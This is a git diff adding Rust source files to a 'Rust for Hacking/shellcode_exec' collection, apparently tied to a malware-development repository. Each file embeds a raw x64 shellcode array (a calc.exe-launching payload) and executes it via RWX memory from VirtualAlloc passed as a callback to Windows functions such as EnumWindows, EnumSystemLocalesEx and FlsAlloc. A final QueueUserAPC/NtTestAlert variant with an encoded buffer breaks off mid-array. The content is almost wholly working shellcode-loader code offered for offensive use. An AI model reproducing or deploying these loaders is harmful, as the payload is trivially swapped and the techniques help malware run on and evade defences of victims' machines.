+*/
+
+use std::ptr::{copy_nonoverlapping, null_mut};
+
+use winapi::um::{memoryapi::VirtualAlloc, winuser::{EnumDesktopsW, GetProcessWindowStation}};
+
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+
+ let address = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000 | 0x2000,
+ 0x40,
+ );
+
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ address as *mut u8,
+ shellcode.len()
+ );
+
+ EnumDesktopsW(
+ GetProcessWindowStation(),
+ std::mem::transmute(address),
+ 0,
+ );
+ }
+}
+
diff --git a/Rust for Hacking/shellcode_exec/EnumSystemLocalesEx.rs b/Rust for Hacking/shellcode_exec/EnumSystemLocalesEx.rs
new file mode 100644
index 0000000..3fab8da
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumSystemLocalesEx.rs
@@ -0,0 +1,59 @@
+/*
+ Shellcode Execution Through EnumSystemLocalesEx
+ @5mukx
+*/
+use std::ptr::{copy_nonoverlapping, null_mut};
+
+use winapi::um::{
+ memoryapi::VirtualAlloc,
+ winnls::EnumSystemLocalesEx,
+ winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}
+};
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ addr as *mut u8,
+ shellcode.len(),
+ );
+
+
+ EnumSystemLocalesEx(
+ std::mem::transmute(addr),
+ 0u32,
+ 0 as isize,
+ null_mut(),
+ );
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/EnumTimeFormatsEx.rs b/Rust for Hacking/shellcode_exec/EnumTimeFormatsEx.rs
new file mode 100644
index 0000000..602f2b2
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumTimeFormatsEx.rs
@@ -0,0 +1,62 @@
+/*
+ Shellcode Execution Through EnumTimeFormatsEx
+ @5mukx
+*/
+
+use std::ptr::{copy_nonoverlapping, null_mut};
+
+use winapi::um::{memoryapi::VirtualAlloc, winnls::EnumTimeFormatsEx};
+
+#[repr(transparent)]
+pub struct PCWSTR(pub *const u16);
+
+#[repr(transparent)]
+#[allow(non_camel_case_types)]
+pub struct TIME_FORMAT_FLAGS(pub u32);
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000 | 0x2000,
+ 0x40,
+ );
+
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ addr as *mut u8,
+ shellcode.len(),
+ );
+
+ EnumTimeFormatsEx(
+ std::mem::transmute(addr),
+ 0 as *const u16,
+ 0 as u32,
+ 0);
+
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/EnumWindows.rs b/Rust for Hacking/shellcode_exec/EnumWindows.rs
new file mode 100644
index 0000000..4a32ad8
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumWindows.rs
@@ -0,0 +1,55 @@
+/*
+ Shellcode Execution through EnumWindows
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ @5mukx
+*/
+
+use std::ptr::null_mut;
+
+use winapi::um::{
+ memoryapi::VirtualAlloc,
+ winuser::EnumWindows
+};
+
+fn main(){
+
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000,
+ 0x40,
+ );
+
+ std::ptr::copy_nonoverlapping(
+ shellcode.as_ptr(),
+ addr as *mut u8,
+ shellcode.len(),
+ );
+
+ EnumWindows(std::mem::transmute(addr), 0);
+ }
+}
+
diff --git a/Rust for Hacking/shellcode_exec/EnumWindowsStationsW.rs b/Rust for Hacking/shellcode_exec/EnumWindowsStationsW.rs
new file mode 100644
index 0000000..cd1f7e0
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/EnumWindowsStationsW.rs
@@ -0,0 +1,55 @@
+/*
+ Shellcode Execution Through EnumWindowStationsW
+ @5mukx
+*/
+
+use std::ptr::{copy_nonoverlapping, null_mut};
+use user32::EnumWindowStationsW;
+use winapi::um::memoryapi::VirtualAlloc;
+
+
+fn main(){
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
+ ];
+
+ unsafe{
+
+ let addr = VirtualAlloc(
+ null_mut(),
+ shellcode.len(),
+ 0x1000 | 0x2000,
+ 0x40,
+ );
+
+ copy_nonoverlapping(
+ shellcode.as_ptr(),
+ addr as *mut u8,
+ shellcode.len(),
+ );
+
+ EnumWindowStationsW(
+ std::mem::transmute(addr),
+ 0
+ );
+
+ }
+}
diff --git a/Rust for Hacking/shellcode_exec/Flsalloc.rs b/Rust for Hacking/shellcode_exec/Flsalloc.rs
new file mode 100644
index 0000000..3d74364
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/Flsalloc.rs
@@ -0,0 +1,61 @@
+
+/*
+ Shellcode Execution through fiber local storage FlsAlloc.h
+ @5mukx
+*/
+
+use std::ptr;
+use winapi::um::memoryapi::VirtualAlloc;
+use winapi::um::winnt::{MEM_RESERVE, MEM_COMMIT, PAGE_EXECUTE_READWRITE};
+use winapi::um::fibersapi::FlsAlloc;
+use winapi::um::fibersapi::FlsSetValue;
+use winapi::shared::minwindef::{LPVOID, DWORD};
+use std::ffi::CString;
+use std::slice;
+
+fn main() {
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
+ ];
+
+ unsafe{
+ let address = VirtualAlloc(
+ ptr::null_mut(),
+ shellcode.len(),
+ MEM_RESERVE | MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+
+ let dst = slice::from_raw_parts_mut(address as *mut u8, shellcode.len());
+ dst.copy_from_slice(&shellcode);
+
+
+ let d_index: DWORD = FlsAlloc(std::mem::transmute(address));
+
+ let dummy = CString::new("smukx").unwrap();
+
+ FlsSetValue(d_index, &dummy as *const _ as LPVOID);
+ }
+
+}
+
+
diff --git a/Rust for Hacking/shellcode_exec/QueueUserAPC.rs b/Rust for Hacking/shellcode_exec/QueueUserAPC.rs
new file mode 100644
index 0000000..928f16d
--- /dev/null
+++ b/Rust for Hacking/shellcode_exec/QueueUserAPC.rs
@@ -0,0 +1,148 @@
+/*
+ Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
+ For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+ Resources Used:
+ https://www.g0dmode.biz/remote-process-injection/queueuserapc-+-nttestalert
+ https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert
+
+ By: @5mukx
+*/
+
+use std::ptr::null_mut;
+
+// use ntapi::ntpsapi::NtTestAlert;
+use winapi::{
+ ctypes::c_void,
+ um::{errhandlingapi::GetLastError,
+ libloaderapi::{GetModuleHandleA, GetProcAddress},
+ memoryapi::VirtualAlloc,
+ processthreadsapi::{GetCurrentThread, QueueUserAPC
+ }
+ }
+};
+
+// pub fn extern "system" fn NtTestAlert() -> NTSTATUS;
+
+type NtTestAlert = extern "system" fn() -> u32;
+
+macro_rules! okey {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\____[+] {}", format!($msg, $($arg), *));
+ }
+}
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("\\____[-] {}", format!($msg, $($arg), *));
+ println!("Exiting...");
+ std::process::exit(0);
+ }
+}
+
+
+fn main(){
+ let buf: [u8; 503] = [0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,
+ 0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,
+ 0x55,0x17,0xce,0x4b,0x6d,0xac,0xd4,0x2b,0x48,0x31,0x58,0x27,
+ 0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xa9,0x5f,0x4d,0xaf,
+ 0x9d,0x44,0x14,0x2b,0x55,0x17,0x8f,0x1a,0x2c,0xfc,0x86,0x7a,
+ 0x03,0x5f,0xff,0x99,0x08,0xe4,0x5f,0x79,0x35,0x5f,0x45,0x19,
+ 0x75,0xe4,0x5f,0x79,0x75,0x5f,0x45,0x39,0x3d,0xe4,0xdb,0x9c,
+ 0x1f,0x5d,0x83,0x7a,0xa4,0xe4,0xe5,0xeb,0xf9,0x2b,0xaf,0x37,
+ 0x6f,0x80,0xf4,0x6a,0x94,0xde,0xc3,0x0a,0x6c,0x6d,0x36,0xc6,
+ 0x07,0x56,0x9f,0x03,0xe6,0xfe,0xf4,0xa0,0x17,0x2b,0x86,0x4a,
+ 0xbd,0x27,0x54,0xa3,0x55,0x17,0xce,0x03,0xe8,0x6c,0xa0,0x4c,
+ 0x1d,0x16,0x1e,0x1b,0xe6,0xe4,0xcc,0x6f,0xde,0x57,0xee,0x02,
+ 0x6c,0x7c,0x37,0x7d,0x1d,0xe8,0x07,0x0a,0xe6,0x98,0x5c,0x63,
+ 0x54,0xc1,0x83,0x7a,0xa4,0xe4,0xe5,0xeb,0xf9,0x56,0x0f,0x82,
+ 0x60,0xed,0xd5,0xea,0x6d,0xf7,0xbb,0xba,0x21,0xaf,0x98,0x0f,
+ 0x5d,0x52,0xf7,0x9a,0x18,0x74,0x8c,0x6f,0xde,0x57,0xea,0x02,
+ 0x6c,0x7c,0xb2,0x6a,0xde,0x1b,0x86,0x0f,0xe6,0xec,0xc8,0x62,
+ 0x54,0xc7,0x8f,0xc0,0x69,0x24,0x9c,0x2a,0x85,0x56,0x96,0x0a,
+ 0x35,0xf2,0x8d,0x71,0x14,0x4f,0x8f,0x12,0x2c,0xf6,0x9c,0xa8,
+ 0xb9,0x37,0x8f,0x19,0x92,0x4c,0x8c,0x6a,0x0c,0x4d,0x86,0xc0,
+ 0x7f,0x45,0x83,0xd4,0xaa,0xe8,0x93,0x02,0xd3,0xdb,0xa7,0x19,
+ 0x0a,0x24,0xfc,0x4b,0x6d,0xed,0x82,0x62,0xdc,0xf1,0x86,0xca,
+ 0x81,0x0c,0xd5,0x2b,0x55,0x5e,0x47,0xae,0x24,0x10,0xd6,0x2b,
+ 0x54,0xac,0x0e,0xe3,0x6c,0xe7,0x95,0x7f,0x1c,0x9e,0x2a,0x07,
+ 0xe4,0x5d,0x95,0x91,0x19,0x60,0xe8,0x4c,0x92,0x79,0x98,0xa2,
+ 0xbf,0x7f,0xcf,0x4a,0x6d,0xac,0x8d,0x6a,0xef,0x3e,0x4e,0x20,
+ 0x6d,0x53,0x01,0x7b,0x05,0x5a,0xff,0x82,0x20,0x9d,0x14,0x63,
+ 0xaa,0xd7,0x86,0xc2,0xaf,0xe4,0x2b,0xeb,0x1d,0x9e,0x0f,0x0a,
+ 0xd7,0x46,0xdb,0xf4,0xb5,0xe8,0x1b,0x03,0xe4,0x6b,0xbe,0x3b,
+ 0x14,0x4f,0x82,0xc2,0x8f,0xe4,0x5d,0xd2,0x14,0xad,0x57,0xee,
+ 0x19,0xcd,0x2b,0xfe,0x1d,0x96,0x0a,0x0b,0x6f,0xac,0xd4,0x62,
+ 0xed,0x74,0xa3,0x2f,0x6d,0xac,0xd4,0x2b,0x55,0x56,0x9e,0x0a,
+ 0x3d,0xe4,0x5d,0xc9,0x02,0x40,0x99,0x06,0x5c,0x6c,0xbe,0x26,
